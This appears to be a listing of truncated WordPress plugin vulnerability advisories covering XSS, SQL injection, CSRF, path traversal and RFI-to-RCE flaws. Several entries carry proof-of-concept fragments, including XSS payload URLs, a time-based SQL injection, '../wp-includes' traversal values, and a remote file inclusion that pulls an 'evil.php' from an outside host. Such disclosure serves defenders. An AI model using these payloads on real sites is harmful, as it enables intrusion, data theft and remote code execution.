WooCommerce EnvioPack <= 1.2 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the dataid parameter found in the /includes/functions.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 1.2...

Link List Manager <= 1.0 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the category parameter found in the /llm.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 1.0...

All In One SEO < 4.1.5.3 - Authenticated SQL Injection

The plugin is affected by an authenticated SQL injection issue, which was discovered during an internal audit by the Jetpack Scan team, and could grant attackers access to privileged information from the affected site’s database e.g., usernames and hashed passwords...

duoFAQ <= 1.4.8 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the msg parameter found in the /duogeek/duogeek-panel.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 1.4.8...

All In One SEO < 4.1.5.3 - Authenticated Privilege Escalation

The plugin is affected by a Privilege Escalation issue, which was discovered during an internal audit by the Jetpack Scan team, and may grant bad actors access to protected REST API endpoints they shouldn’t have access to. This could ultimately enable users with low-privileged accounts, like...

Simple Image Gallery <= 1.0.6 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the msg parameter found in the /simple-image-gallery.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 1.0.6...

WooCommerce myghpay Payment Gateway <= 3.0 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the clientref parameter found in the /processresponse.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.0...

Magic Post Voice <= 1.2 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the ids parameter found in the /inc/admin/main.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 1.2...

.htaccess Redirect <= 0.3.1 - Reflected Cross-Site Scripting

The plugin is vulnerable to Reflected Cross-Site Scripting via the link parameter found in the /htaccess-redirect.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 0.3.1...

True Ranker < 2.2.4 - Unauthenticated Arbitrary File Access via Path Traversal

The plugin allows arbitrary files, including sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the /admin/vendor/datatables/examples/resources/examples.php file. PoC Exploit Authors: Nicole Sheinin, Liad Levy Tested on: MacOS !/usr/bin/env python3...

Share One Drive < 1.15.3 - Reflected Cross-Site Scripting

Insufficient Input Validation in the search functionality of the plugin allows attackers to perform a reflected Cross-Site Scripting attack...

Lets Box < 1.13.3 - Reflected Cross-Site Scripting

Insufficient Input Validation in the search functionality of the plugin allows attackers to perform a reflected Cross-Site Scripting attack...

The Plus Addons for Elementor Pro < 5.0.7 - Unauthenticated SQL Injection

The "WP Search Filters" widget of the plugin does not sanitise and escape the option parameter before using it in a SQL statement, which could lead to SQL injection PoC The request requires a nonce created with wpcreatenonce"theplus-searchfilter” which can be retrieved from a page where the widge...

Out of the Box < 1.20.3 - Reflected Cross-Site Scripting

Insufficient Input Validation in the search functionality of the plugin allows attackers to perform a reflected Cross-Site Scripting attack...

The Plus Addons for Elementor Pro < 5.0.7 - Sensitive Data Disclosure

The plugin does not validate the qvquery parameter of the tpgetdlpostinfoajax AJAX action, which could allow unauthenticated users to retrieve sensitive information, such as private and draft posts PoC The following request allow an unauthenticated user to get the draft posts the nonce can be...

Use Your Drive < 1.18.3 - Reflected Cross-Site Scripting

Insufficient Input Validation in the search functionality of the plugin allows attackers to perform a reflected Cross-Site Scripting attack...

WOOCS < 1.3.7.3 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape the customprices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue PoC https://example.com/wp-admin/admin-ajax.php?action=woocsgetcustompricehtmlprices=%3Cimg%20src%20onerror=alertXSS%3E...

Comment Engine Pro <= 1.0 - Editor+ Stored Cross-Site Scripting

The plugin does not sanitise and escape some parameters, allowing high privilege users such as editor and above to perform Stored Cross-Site Scripting attacks...

WP Booking System – Booking Calendar < 2.0.15 - Authenticated Reflected Cross-Site Scripting (XSS)

The plugin was affected by a reflected xss in wp-booking-system on the wpbs-calendars admin page. PoC http://127.0.0.1:8001/wp-admin/admin.php?page=wpbs-calendars=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%281%29+x%3D or...

tarteaucitron.js - Cookies legislation & GDPR < 1.6 - CSRF to Stored Cross-Site Scripting

The plugin does not have CSRF check in place in its settings, as well as does not sanitise and escape them, which could allow attackers to make a logged in admin change them and perform Cross-Site Scripting attacks against them...

Accept Donations with PayPal < 1.3.4 - Arbitrary Post Deletion via CSRF

The plugin does not have CSRF check in place and does not ensure that the post to be deleted belongs to the plugin, allowing attackers to make a logged in admin delete arbitrary posts from the blog PoC https://examle.com/wp-admin/admin.php?page=wpedonmenu=delete&action2;=delete=1...

WP Google Map < 1.8.1 - Subscriber+ Arbitrary Post Deletion and Plugin's Settings Update

The plugin does not have proper authorisation and CSRF in most of its AJAX actions, which could allow any authenticated users, such as subscriber to delete arbitrary posts and update the plugin's settings. v1.8.1 added authorisation checks, however CSRF was still missing and a separate advisory h...

Fathom Analytics < 3.0.5 - Admin+ Stored Cross-Site Scripting

The plugin is vulnerable to Stored Cross-Site Scripting due to insufficient input validation and escaping via the fathomsiteid parameter found in the /fathom-analytics.php file which allowed attackers with administrative user access to inject arbitrary web scripts, in versions up to and including...

WP Google Map < 1.8.1 - Subscriber+ Map Creation/Update/Deletion

The plugin does not have proper authorisation when creating, deleting and updating maps, allowing any authenticated users, such as subscribers to perform such action...

PublishPress Capabilities < 2.3.1 - Unauthenticated Arbitrary Options Update to Blog Compromise

The plugin does not have authorisation and CSRF checks when updating the plugin's settings via the init hook, and does not ensure that the options to be updated belong to the plugin. As a result, unauthenticated attackers could update arbitrary blog options, such as the default role and make any...

10Web Social Photo Feed < 1.4.29 - Reflected Cross-Site Scripting (XSS)

The plugin was affected by a reflected Cross-Site Scripting XSS vulnerability in the wdiapplychanges admin page, allowing an attacker to perform such attack against any logged in users PoC...

PowerPack Addons for Elementor < 2.6.2 - Reflected Cross-Site Scripting

The plugin does not escape the tab parameter before outputting it back in an attribute in the admin dashboard, leading to a Reflected Cross-Site Scripting issue PoC...

Tab - Accordion, FAQ < 1.3.2 - Unauthenticated AJAX Calls

All AJAX actions of the plugin are available to both unauthenticated and authenticated users, allowing unauthenticated attackers to modify various data in the plugin, such as add/edit/delete arbitrary tabs. v1.3.0 added CSRF checks, however authorisation was still missing and has been added in...

Multivendor Marketplace Solution for WooCommerce < 3.8.4 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape user input before outputting it back in HTML attributes, leading to Reflected Cross-Site Scripting issues PoC https://example.com/wp-admin/admin.php?page=wcmp-setting-admin=vendor'...

UpdraftPlus < 1.16.66 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape the backuptimestamp and jobid parameter before outputting then back in admin pages, leading to Reflected Cross-Site Scripting issues PoC...

Booking Calendar < 8.9.2 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape the bookingtype parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting PoC https://example.com/wp-admin/admin.php?page=wpbctype=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E%3Cscript%3E%2F%2A...

WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site Scripting

The plugin does not escape the tab and section parameters before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting in the admin dashboard PoC...

Chaty Free < 2.8.3 & Pro < 2.8.2 - Reflected Cross-Site Scripting

The plugins do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting PoC http://example.com/wp-admin/admin.php?page=chaty-contact-form-feed=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E...

Stars Rating < 3.5.1 - Comments Denial of Service

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the comments section, or pending comment dashboard depending if the user sent it as unauthenticated or authenticated. PoC Enable rating for a post/page, add a comment, capture th...

WPcalc <= 2.1 - Authenticated SQL Injection

The plugin does not sanitize user input into the 'did' parameter and uses it in a SQL statement, leading to an authenticated SQL Injection vulnerability. Plugin author closed the plugin. PoC http://www.example.com/wp-admin/admin.php?page=wpcalc=del=1 AND SELECT 7156 FROM SELECTSLEEP5MIkl or, usin...

Site Reviews < 5.17.3 - Unauthenticated Stored Cross-Site Scripting

The plugin does not sanitise and escape the site-reviews parameter of the glsraction AJAX action available to unauthenticated and any authenticated users, allowing them to perform Cross-Site Scripting attacks against logged in admins viewing the Tool dashboard of the plugin PoC...

Events Made Easy < 2.2.36 - Subscriber+ SQL Injection

The plugin does not sanitise and escape the searchtext parameter before using it in a SQL statement via the emesearchmail AJAX action, available to any authenticated users. As a result, users with a role as low as subscriber can call it and perform SQL injection attacks PoC...

Button Generator < 2.3.3 - RFI leading to RCE via CSRF

The plugin within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE. PoC http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP's...

WP Coder < 2.5.2 - RFI leading to RCE via CSRF

The plugin within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE. PoC http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP's...

Modal Window < 5.2.2 - RFI leading to RCE via CSRF

The plugin within the wow-company admin menu page allows to include arbitrary file with PHP extension as well as with data:// or http:// protocols, thus leading to CSRF RCE. PoC http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP's...

Survey Maker < 2.0.7 - Unauthenticated Store Cross-Site Scripting

The plugin is affected by an unauthenticated Stored Cross-Site Scripting issue...

Modern Events Calendar Lite < 6.2.0 - Subscriber+ Category Add Leading to Stored XSS

The plugin alloed any logged-in user, even a subscriber user, may add a category whose parameters are incorrectly escaped in the admin panel, leading to stored XSS. PoC 1. Run the following JavaScript in the browser's web console as a subscriber user. 2. Authenticate in a separate browser as an...

Post Duplicator < 2.27 - Admin+ Stored Cross-Site Scripting

The plugin does not sanitise and escape its Duplicate Title and Slug settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed PoC Put the following payload in the "Duplicate Title" or "Duplicate...

Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in Product XML Feeds Module

The plugin does not sanitise and escape the wcjcreateproductsxmlresult parameter before outputting back in the admin dashboard when the Product XML Feeds module is enabled, leading to a Reflected Cross-Site Scripting issue PoC The "Product XML Feeds" module needs to be enabled in "Woocommerce -...

WP Travel Engine < 5.3.1 - Editor+ Stored Cross-Site Scripting

The plugin does not escape the Description field in the Trip Destination/Activities/Trip Type and Pricing Category pages, allowing users with a role as low as editor to perform Stored Cross-Site Scripting attacks, even when the unfilteredhtml capability is disallowed PoC As an editor or admin, ad...

Booster for Woocommerce < 5.4.9 - Reflected Cross-Site Scripting in PDF Invoicing Module

The plugin does not sanitise and escape the wcjnotice parameter before outputting it back in the admin dashboard when the Pdf Invoicing module is enabled, leading to a Reflected Cross-Site Scripting PoC With the PDF Invoicing module active:...

Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in General Module

The plugin does not sanitise and escape the wcjdeleterole parameter before outputting back in the admin dashboard when the General module is enabled, leading to a Reflected Cross-Site Scripting issue PoC The "General" module needs to be enabled in "Woocommerce - Booster Settings - Booster"...

OMGF < 4.5.12 - Admin+ Arbitrary Folder Deletion via Path Traversal

The plugin does not validate the cache directory setting, allowing high privilege users to use a path traversal vector and delete arbitrary folders when uninstalling the plugin PoC As admin, put the following payload in the "Fonts Cache Directory" setting of the plugin: ../wp-includes, tick the...

CAOS < 4.1.9 - Admin+ Arbitrary Folder Deletion via Path Traversal

The plugin does not validate the cache directory setting, allowing high privilege users to use a path traversal vector and delete arbitrary folders when uninstalling the plugin PoC As admin, put the following payload in the "Cache directory for analytics.js" setting of the plugin: ../wp-includes,...

Variation Swatches for WooCommerce < 2.1.2 - Subscriber+ Stored Cross-Site Scripting

The plugin does not have authorisation and CSRF checks in the tawcvssavesettings, updateattributetypesetting and updateproductattrtype AJAX actions, allowing any authenticated users to call them. The tawcvssavesettings could especially be used to update the plugin’s settings and add XSS payloads...